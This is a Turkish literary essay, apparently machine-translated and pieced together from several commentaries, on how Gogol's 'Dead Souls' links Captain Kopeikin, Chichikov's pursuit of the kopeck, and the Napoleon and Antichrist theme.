Ana karakterşiir - Pavel Ivanovich Chichikov - köylülerin ölü ruhlarını satın alarak Rusya'yı dolaşıyor. Bu kahraman özünde parlak bir dolandırıcıdır. Ne olursa olsun gerçekleştirmeye çalıştığı çok zekice bir dolandırıcılık tasarladı. Chichikov'un hayattaki hedefi kârdır. Hayatı boyunca zengin olmaya, sakin ve mutlu yaşamaya çalıştı. Amacı uğruna küçük ve büyük suçlar işliyor: Rüşvet alıp veriyor, aldatıyor, ihanet ediyor. Hedefine ulaşmak için hiçbir şeyden vazgeçmediğini söyleyebiliriz. Bu, sırf kendi yoluna gitmek için cesetlerin üzerinden geçebilen türden bir insan.

Şiirin onuncu bölümünde, N şehrinin korkmuş yetkilileri nihayet Chichikov'un kim olduğunu bulmak için bir araya geldiklerinde birçok inanılmaz varsayımda bulunulur. Yani Pavel Ivanovich, gizemli kaptan Kopeikin ile karşılaştırılıyor. İlk bakışta posta müdürünün varsayımı tamamen saçma görünüyor. Gerçekten de talihsiz kaptan Kopeikin ile dolandırıcı Chichikov arasında ortak olan ne olabilir? Ancak Gogol'ün bu kahramanları bir araya getirmesi tesadüf değil.

Hükümdarı için, ülkesi için yapılan savaşlarda sakat kalan Yüzbaşı Kopeikin, onlardan herhangi bir yardım almadı. Kolu ve bacağı olmadığı için kendini doyuramıyordu ve bu nedenle generalden emekli maaşı istiyordu. Askerin isteklerinden bıkan kayıtsız bir yetkili, onu şehir dışına gönderir. Herkes Kaptan Kopeikin'i unuttu: “Kopeikin'in nereye gittiği bilinmiyor; ancak iki aydan kısa bir süre sonra Ryazan ormanlarında bir soyguncu çetesi ortaya çıktı ve bu çetenin şefi, efendim, başkası değildi...” Gogol bu çetenin liderinin kim olduğunu özellikle söylemiyor. Bu anlaşma eksikliği tesadüfi değildir. Bir yandan Kaptan Kopeikin'den bahsettiğimizi anlıyoruz. Hakkının hakkını alamayan bu kişi, hırsıza dönüşür. Çaresizce kanunsuzluk yapmaya, öldürmeye ve soyguna başlar.

Öte yandan Pavel Ivanovich Chichikov'un aynı zamanda bir soygun çetesinin lideri olduğunu da anlıyoruz. Girişimciler ve işadamlarından oluşan yeni bir kabilenin lideridir. Gogol onları Rusya'yı yok edebilecek "aşağılık ve korkunç bir güç" olarak görüyordu. Bu akıllı, hünerli, amaçlı ve kurnaz insanlar tüm güçlerini zengin olmaya harcadılar. Yolda herhangi bir engel görmediler: ne fiziksel, ne ahlaki, ne de ahlaki. Gogol'e göre bu, çocuklukta bu insanlara basit insan emirlerinin aşılanmaması nedeniyle oldu. Chichikov'un babasının oğluna çok küçük yaşlardan itibaren şunu söylediğini hatırlayalım: “Bir yoldaş veya arkadaş sizi aldatacak ve başı dertte olan ilk kişi size ihanet edecek, ancak başınız ne kadar belada olursa olsun bir kuruş size ihanet etmeyecek. ” Bir kuruşla her şeyi yapacaksın, dünyadaki her şeyi mahvedeceksin.” Küçük Pavlusha hayatının geri kalanında bu gerçeği hatırladı ve boş, ruhsuz, berbat bir insan olarak büyüdü. Buradaki yoklama tesadüfi değil: Kaptan Kopeikin - "Kuruşuna iyi bak."

Yetkililer Chichikov'un ünlü kaptan Kopeikin olduğuna inanmıyordu. Birçoğu "Chichikov'un kılık değiştirmiş Napolyon olmayabileceğini... belki de onu Helena Adası'ndan serbest bıraktılar ve şimdi sanki Chichikov gibi Rusya'ya gidiyor ama aslında Chichikov değil." Korkmuş yetkililer buna bile inanmaya hazırdı. Chichikov'un yüzünün "gerçekten Napolyon'un portresine benzediğini" hatırladılar. Gogol bunu kabul etmiyor ama inkar da etmiyor. Aslında Chichikov bir bakıma Napolyon'dur. Gogol şöyle yazıyor: "Napolyon Deccal'dir ve taş bir zincire bağlı olarak, altı duvar ve yedi denizin arkasında tutulmaktadır, ancak bundan sonra zincirleri kıracak ve tüm dünyayı ele geçirecektir." Buradaki yazarın aklında sadece gerçek bir tarihi şahsiyetin değil, aynı zamanda kahramanının da olduğuna inanıyorum. Şiirin en başından beri Chichikov'un Napolyon planları vardı. Bunları Napolyon kadar kendinden emin ve küstahça gerçekleştirdi. Chichikov, Fransız imparatoru gibi, kurbanları saymadan her şeyi ezmeye hazır. Gogol'e göre şiirin kahramanı gibi insanlar, sonunda "zincirleri kıracak ve tüm dünyayı ele geçirecek" gerçek Deccallerdir. Yazar en çok bundan korkuyordu, bu yüzden de “Ölü Canlar”ı çağdaşlarına ve gelecek nesillere bir uyarı olarak yazdı.

1. Kopeikin'in görüntüsü.
2. “Bir kuruşluk nehir.”
3. Ölü kuruş ruhu.

İnsan ruhunun tarihi belki daha merak uyandırıcıdır ve tarihten daha faydalı bütün bir halk.
M.Yu.

Makalenin konusu çok ilginç bir sorunu ifade ediyor. Kopeikin ve Chichikov'un iki görüntüsü aynı kavramsal düzeyde yer alıyor. Şiir boyunca bu iki figür etkileşim halindedir. Kopeikin'in imajı ve onunla ilgili hikaye, Chichikov'un kendisini çözmeye ve anlamaya çalışırken ortaya çıkıyor. Yani yazar bize ana karakterin kişiliğini anlamanın anahtarını yeni bir yüz aracılığıyla vermeye çalışıyor.

Ancak kaptanın hikayesi başladığında hiçbir ortak noktalarının olmadığı ortaya çıkar. Ve soyguncuyla ilgili hikayeyi hatırlayan kahramanlar, yanıldıkları sonucuna varır ve onunla Chichikov arasındaki herhangi bir benzerliği reddederler. O halde neden böyle bir bölüm işte ortaya çıkıyor? Sonuçta şiirde bahsedilmeyen, dikkatlerin üzerinde durulmayan askeri eylemlerin sonuçlarını sunuyor. Eserin yayınlanan orijinal versiyonunda Kaptan Kopeikin hakkındaki hikayenin sansür nedeniyle çıkarıldığını unutmamalıyız. Daha sonraki basılı versiyonlarda, bu olmadan Chichikov'un kişiliğinin başka bir özelliği net olmadığı için geri döndü. Sonuçta, Kaptan Kopeikin'in imajı, yalnızca savaş kahramanlarına yönelik adaletsizlik ve dikkatsizlikten değil, aynı zamanda doğrudan referanslara rağmen, bu figürün ana karakter Chichikov'un görünümünü çok açık bir şekilde karakterize ettiği gerçeğinden de bahsediyor.

Bu karşılaştırmada kaptanın sembolik soyadı Kopeikin büyük rol oynuyor. Şu şekilde yorumlanabilir: farklı seçenekler: 1812'de bir kol ve bacağın kaybolduğu ne büyük bir savaş, kaptan bir kuruş bile almadı, küçük bir yardım almayı başardı, ancak bunlar gerçekten ihtiyacı olanla karşılaştırıldığında sadece küçük kırıntılar. "Eh," diye düşünüyor Kopeikin, "en azından ücret ödemek zorunda değilsin, bunun için teşekkürler." Kahramanın bu bölümdeki ironisinin hüzünlü tonları var. Aynı zamanda etrafındakiler ve özellikle de patronlar için hayatı bir kuruş, yani aynı kuruş değerinde değildir.

Ancak ondaki ruh böyle bir tanımdan uzaktır. Gerçeği yukarıdan değil, mevcut veya kazanılmış bağlantıları kullanarak arıyor. Kopeikin gerçeği adil bir şekilde arıyor. Ama sonunda korkunç bir sonuca varır: Sadece bir sakatın değil, bir insanın hayatının hiçbir değeri yoktur. Bu, onun paha biçilmez olduğu anlamına gelmez; daha ziyade bunu yapacak küstahlığa ve güce sahip olan herkes tarafından ayaklar altına alınabileceği anlamına gelir.

Ancak Kopeikin bu durumla barışmıyor. Kararlı bir adım atar; soyguncu olur. "General bana yardım etmenin yolunu aramamı söylediğinde, o da, çareyi bulacağım diyor!" Ve bu durumda soyadı yeni bir anlam kazanıyor. Ortak amaca katkısı muhtemelen bir kuruş kadar küçüktür. Ancak toplumu olayların daha da gelişmesi hakkında düşünmeye zorluyor: “Peki, o yere götürülür götürülmez ve tam olarak nereye götürüldüğü bilinmiyor. Anlıyorsunuz ya, Kaptan Kopeikin hakkındaki söylentiler, şairlerin deyimiyle unutulma nehrine, bir tür unutulmaya yüz tuttu.” Kim bilir, belki bir dahaki sefere yetkili, yalnızca savaşa katılan birini değil, aynı zamanda herhangi bir başvuruyu da reddetmeden önce iki kez düşünecektir. Bu durumda belki birisi şanslı olacak ve hakkını alacaktır. Ve ilginç ve sembolik bir soyadı olan bir kişinin hayatını etkilediğini ve onu daha iyiye doğru değiştirebildiğini bilmesi pek mümkün değil. Küçük ve önemsiz bir mesele, bir kişinin durumunun kurtarılmasına ve iyileştirilmesine yardımcı oldu. Ve bu muhtemelen uğruna savaşmaya değer.

Kopeikin'in bir soyguncu çetesinin lideri olması ilginçtir. Yani bu durumda soyadı, kimsenin onu diğer soyguncu katılımcıların bir adım üstüne koymasına engel olmadı. Yüreğindeki öfke ateşini taraftarlarına da bulaştırmayı başardı. Kopeikin, artık makamların eşiğinde değil, orman yollarında adalet arayanların gerçeğini ve gözlerini açmaya başladı. “Yani Kopeikin'in nereye gittiği bilinmiyor; ama tahmin edersiniz ki," dedi posta müdürü, "Ryazan ormanlarında bir soyguncu çetesi ortaya çıkana kadar iki ay geçti ve bu çetenin şefi, efendim, başkası değildi..."

Peki orman soyguncusunun Chichikov'la ne alakası var? Sonuçta Pavel İvanoviç yolda durmuyor ve kimseyi soymuyor. Toprak sahipleri ona ölü ruhları neredeyse bedavaya veriyorlar. Yani onda hiçbir soyguncu özelliğinin olmadığı söylenebilir. Ancak tüm haklılığıyla kimsenin aklının alamayacağı şeyler yapıyor: Ölü ruhlar satın alıyor. Yani aşağı iniyor ölü alışveriş duş. En küçük kuruşa koşuyor ama hiçbir şey kazanamıyor. Babasının kendisi ona şöyle bir emir vermişti: “Kimseye muamele etmeyin, davranmayın, size davranılacak şekilde davranın ve en önemlisi bir kuruş biriktirin ve biriktirin; bu şey dünyadaki her şeyden daha güvenilir.” Ancak yoldaşı gibi güvenilir bir arkadaşı alan Chichikov, bu para arayışında ruhunu nasıl kaybettiğini fark etmiyor. Ucuza almaya çalıştıkları kadar ölü olur. Pavel İvanoviç zenginini kaybediyor gönül rahatlığı: Hiçbir şey ve hiç kimse haline gelir. Girişimi başarısız olur ama kahramanını da kendisiyle birlikte çeker. Kopeikin'in doğru bir iş yapma gücünü bulduğunu, ancak Chichikov'a bu kadar eşsiz bir şans verilmediğini unutmayın. Herkese ve her şeye kapalıdır. Kuruş ruhu bir kuruş mumdan yandı, bu durumda kâr.

Eserin başlığında Pavel Ivanovich Chichikov'a "kuruşun şövalyesi" lakabı veriliyor. Bu aynı zamanda bir anlam ifade ediyor. Şövalyeler güzel hanıma tapıyorlardı, onun uğruna hünerlerini sergiliyor ve risk alıyorlardı. Peki Chichikov neden risk alıyor? Bir kuruş için mi? Onun iyiliği için her türlü entrikaya başvurur, onun uğruna istismarlarını gerçekleştirir. Böyle bir ilişki onun varlığını anlamsız hale getirdiği gibi, hayata olan küçük ilgisini de gösterir. Yani bir para için her şeyi yapmaya hazırdır. Bu nedenle, Chichikov'un taptığı idolü haline geliyor: "Beş rubleye ulaşacak kadar parası olduğunda çantayı dikti ve bir tane daha biriktirmeye başladı."

Ama idol gibi sonuçları da öyle. Bunun ne manevi ne de menfaat önemi vardır. O sadece var olur ve şövalyesini ruhu yüceltebilecek ilhamla doldurmaz. Aksine idol, ana karakterin girişime başlamadan önce sahip olduğu şeyleri yok eder.

Ancak soyguncu Kopeikin gibi Chichikov'un da kendi gerekçesi var. İkisi de içinde bulundukları toplumun kanunlarına göre yaşamak zorunda kalıyorlar. Böylece aklı ve insani duyguları gölgede bırakan para kültü, kriter haline geliyor. sosyal statü. Sonuçta, Chichikov yalnızca belirli sayıda ruha sahip olarak karlı bir şekilde evlenebilirdi. Ne de olsa, yalnızca ölü de olsa çok sayıda ruha sahip olarak kendini bulduğu topluma girebildi ve soyundan gelenlerin onun hakkında ne söyleyeceği sorusuna cevap verebildi. Chichikov her durumdan yararlanmayı öğrendi. Üstelik sadece parasal değil, aynı zamanda gelecekte istenen sonucu elde etmesine yardımcı olacak statü de: kuruşlarını yeniden toplamak. “Üstlerine kıyasla daha da akıllı davrandı. Kimse bir bankta bu kadar sessizce nasıl oturulacağını bilmiyordu. Öğretmenin sessizliği ve iyi davranışı çok seven biri olduğunu, akıllı ve keskin oğlanlara tahammül edemediğini belirtmek gerekir.” Pavel İvanoviç kabul ediyor benzer kurallar bu nedenle "okulda kaldığım süre boyunca mükemmel bir durumdaydım ve mezun olduktan sonra tüm bilim dallarında tam onur dereceleri aldım."

N.V. Gogol'un çalışması, küçük kârın zararlılığını ve bu tür laik kuralları oluşturan toplumun ahlaksızlığını gösteriyor. Kutu hata yapmaktan korkar ve kimsenin anlayamadığı saçmalıkları gün yüzüne çıkarır. İşin sonunda savcı ölür, dolandırıcılık ve sahtekarlığın kurbanı olur. "Neden onları bu kadar korkuttun? - Nozdryov Chichikov'a diyor. "Tanrı biliyor ya, korkudan çıldırdılar: Seni hırsız ve casus gibi giydirdiler... Ve savcı korkudan öldü..." Bu, paranın, en küçük kuruşun bile yalnızca insanın dünyasını değil, ruhlarını da yok edebileceğini gösteriyor. Ve yazar 19. yüzyılda bu sorun hakkında konuşmaya başladı. Ancak modern "şövalyelerin" bir kuruş uğruna her türlü fedakarlığı yapabildikleri gibi, her zaman kalır.

Yüzbaşı Kopeikin, bir subay, bir kahraman hakkındaki kısa öykünün kahramanıdır Vatanseverlik Savaşı 1812, parasızlıktan dolayı bacağını ve kolunu kaybetmiş ve soyguncu olmuştur. "Masal" versiyonlarında K.K.'nin Amerika'ya uçtuğu varsayıldı; buradan İskender I'e yaralıların kaderi hakkında bir mektup gönderdi ve hükümdardan zarif bir ferman aldı. Kısa öykü ("peri masalı", komik ayrıntılı üslubuyla) şiirin 10. bölümünde posta müdürü Ivan Andreich tarafından anlatılıyor.

Hikayenin nedeni basit. Ölü ruhların alıcısı olan Chichikov hakkındaki söylentiler karşısında şaşkına dönen şehir yetkilileri, onun kim olabileceğini tartışıyor. Aniden, herkesin uzun çekişmesinden sonra Posta Şefi ilhamla haykırıyor: "Beyler, efendim, Kaptan Kopeikin'den başkası değil!" - ve onun hakkında "bir bakıma tam bir şiir olan" bir hikayeyi dinlemeyi teklif ediyor. Gogol'ün romanı aynı zamanda şiir olarak da anılır; bu yüzden Posta Müdürü farkında olmadan "Ölü Canlar" kitabının yazarının taklidini yapıyor ve onun "Kaptan Kopeikin Hikayesi" bir bütün olarak romandır. Ama bu aynı zamanda komik ve ciddi olan özel bir parodi; yetkililer tarafından tartışılan tüm konuları (cinayet, kalpazanlık, kaçak soyguncu) tek bir edebi düğüme bağlar ve birçok açıdan Ölü Canlar'ın tüm metninin anahtarı olarak hizmet eder.

K.K.'nin Krasny yakınlarında veya Leipzig yakınında (yani önemli savaşlardan birinde) yaralandığı ortaya çıktı. büyük savaş) ve İskender I'in savaş sonrası yaralıların kaderine ilişkin emirlerine kadar sakat kaldı. Baba K.K.'yi besleyemiyor; Postmaster'ın tanımına göre yarı peri masalı özellikleri - "muhteşem Şehrazat", "Semiramis" - elde eden St. Petersburg'a kraliyet iyiliği aramaya gidiyor. St.Petersburg'un kraliyet lüksünün, onu ilk gören kahramanın gözünden gösterilen açıklamasında ("ince bir eter gibi gözle görülür bir telaş uçup gidiyor") ve özellikle Saray Setindeki hükümet binasının açıklamasında Demirci Vakula'nın "Noelden Önceki Gece" hikayesinde gördüğü şekliyle St. Petersburg ve Saray'ın görüntüsü. Ancak orada kahraman gerçekten muhteşem bir şansa sahipse, o zaman burada Kont Arakcheev'in özelliklerinin kolayca fark edilebildiği "bakan veya asilzade" ziyareti K.K.'ye yalnızca yanlış umut verir.

Tıpkı "Londra'da" olduğu gibi meyhanede mutlu bir şekilde yemek yiyen (votka, kaparili pirzola, poulard) ve neredeyse tüm parayı harcayan K.K, söz verilen yardım için tekrar Saray'a gelir - bundan sonra ne duyacağını duymak için. her gün: bekle. Cebinde bir "mavi" olan, çaresiz, aşağılanmış, yalnızca evrensel lüksün ortasındaki bir dilencinin aşağılanabileceği gibi, "takıntılı bir şeytan" K.K., Soylu Bakan'a girer ve cesurca yardım sağlamayı talep eder. Buna cevaben, "Tanrı'nın hizmetkarı bir arabada yakalandı efendim" - ve bir kuryeyle başkentin dışına gönderildi. Posta şefine göre uzak iline teslim edilen K.K. şöyle haykırdı: "Aracı bulacağım!" - ve "bir tür unutulmaya" gömüldü. Ve iki ay sonra, Ryazan ormanlarında, şefleri başkası olmayan bir soyguncu çetesi ortaya çıktı... - ve burada anlatıcıya Chichikov'un hem kollarının hem de bacaklarının yerinde olduğu hatırlatılıyor. Posta müdürü elini alnına vuruyor, kendine dana eti diyor, başarısız bir şekilde kıvranmaya çalışıyor (İngiltere'de mekanik o kadar mükemmel ki tahta bacaklar bunu yapabilir) - hepsi boşuna. K.K. hakkındaki hikaye, Chichikov'un kim olduğu sorusuna dair hiçbir şeyi açıklığa kavuşturmadan kumun içinde kayboluyor gibi görünüyor.

Ancak K.K.'nin imajı yalnızca rastgele, "kanunsuz" görünüyor ve onun hakkındaki efsane hiçbir şekilde olay örgüsüne dayalı değil.
Fakir bir asilzadenin, para sıkıntısı çeken bir kaptanın "onu Tanrı bilir nereden aldığını" teması, açgözlü Plyushkin'in gelip ziyaret etmeyi seven komşu kaptanı hakkında Chichikov'a şikayet ettiği 6. bölümde zaten yer alıyor. “Bir akraba şöyle diyor: “Muhtemelen evde hiçbir şey yok, o yüzden sendeliyor.” Ancak daha önce de Chichikov, Nozdryov'u terk ederek onu zihinsel olarak "bulur", tıpkı haydut bir arabacının "çok seyahat etmiş, deneyimli bir kaptan" tarafından kesilmesi gibi. Daha sonra, Bölüm 10'da, hastalığı sırasında Chichikov, K.K. gibi sakal bırakacak, Bölüm 11'de, K.K.'nin adı, Chichikov'un babasının hayat talimatında tesadüfen "geri dönüyor" gibi görünüyor: "Bir Kopek'i kurtarın." “Soyguncu” imajına gelince, 9. bölümde “basitçe hoş bayan" ve "her açıdan hoş bir bayan" Chichikov'da "Rinald Ri-naldin gibi" birini akla getiriyor, ünlü kahraman X. Vulpius'un bir soyguncu hakkındaki romanı.

Rütbe tablosuna göre kaptanın askeri rütbesi, itibari danışmanın sivil rütbesine karşılık geliyordu ve bu aynı zamanda talihsiz K.K.'yi Gogol'un sosyo-fantezi hikayelerindeki diğer "aşağılanmış ve hakarete uğramış" karakterlerle, itibari danışmanlar Poprishchin (" Bir Delinin Notları”) ve Akakiy Akakievich Bashmachkin (“Palto”) ve bunları onlarla karşılaştırıyor. En azından - "Bash-Machkin. Çünkü kamu hizmetinde bu rütbe asalet vermiyordu ve askeri asalet, birinci subay rütbesi ile sağlanıyordu. İşin gerçeği, folklor prototipinin aksine, kahraman şarkıları "hırsız Kopeikin" hakkında ve savaş sonrası Rus düzyazı ve şiirinin çok sayıda engelli karakterinden ve ortak edebi seleflerinden - S. Gesner'in cenneti "Tahta Bacak" dan Asker - asilzade, memur Soyguncu ise, o zaman asil Bu detay, hikayesinin trajedisini keskin bir şekilde güçlendiriyor; K.K.'nin imajını Puşkin'in "Rus Pelham" hakkındaki fikirleriyle, soyguncu beyefendi ("Dubrovsky") ile birleştiriyor. Chichikov'un yeni imajı.

K.K. hakkındaki hikayede, sanki bir numara gibi, Chichikov hakkında çok çeşitli söylentiler birleşiyor; ama olanların yeni, daha da inanılmaz versiyonları buradan yayılıyor. Yetkililer, Chichikov'un, İngilizler tarafından Rusya'yı öfkelendirmek amacıyla kasıtlı olarak St. Helena Adası'ndan serbest bırakılan Napolyon olup olmadığını merak ediyorlar. (Yine 1812 seferinde görev yapan ve “gören” Posta Müdürü Fransız İmparatoru, muhataplarına Napolyon'un "Chichikov'dan hiçbir şekilde daha uzun olmadığını" ve figürünün ondan farklı olmadığını garanti eder.) Chichikov-Napoleon'dan Chichikov-Deccal temasına doğru doğal bir anlamsal ilerleme izler; Yetkililer orada durur ve yalan söylediklerini anlayınca Nozdryov'u çağırırlar.

Karşılaştırmaları ne kadar saçma olursa, varsayımları ve "tarihsel paralellikleri" o kadar düşünülemez hale gelir, yazarın "Ölü Canlar" ın 1. cildine ilişkin ana fikri o kadar net bir şekilde ortaya çıkar. Napolyon dönemi, romantik, güçlü ve etkileyici kötülüğün son zaferinin zamanıydı; Kişileştirmesi kesinlikle ortalama, "hiçbir şey" adamı Chichikov olan haksız kazanımın yeni, "parasal", "kuruşluk" kötülüğü, sonuçta parçalanan dünya için görünmez hale gelebilir ve bu nedenle özellikle tehlikeli olay Burjuva çağının Deccal'i. Ve her bireyin bireysel olarak ve bir bütün olarak insanlığın ahlaki canlanması gerçekleşmezse bu kesinlikle gerçekleşecektir.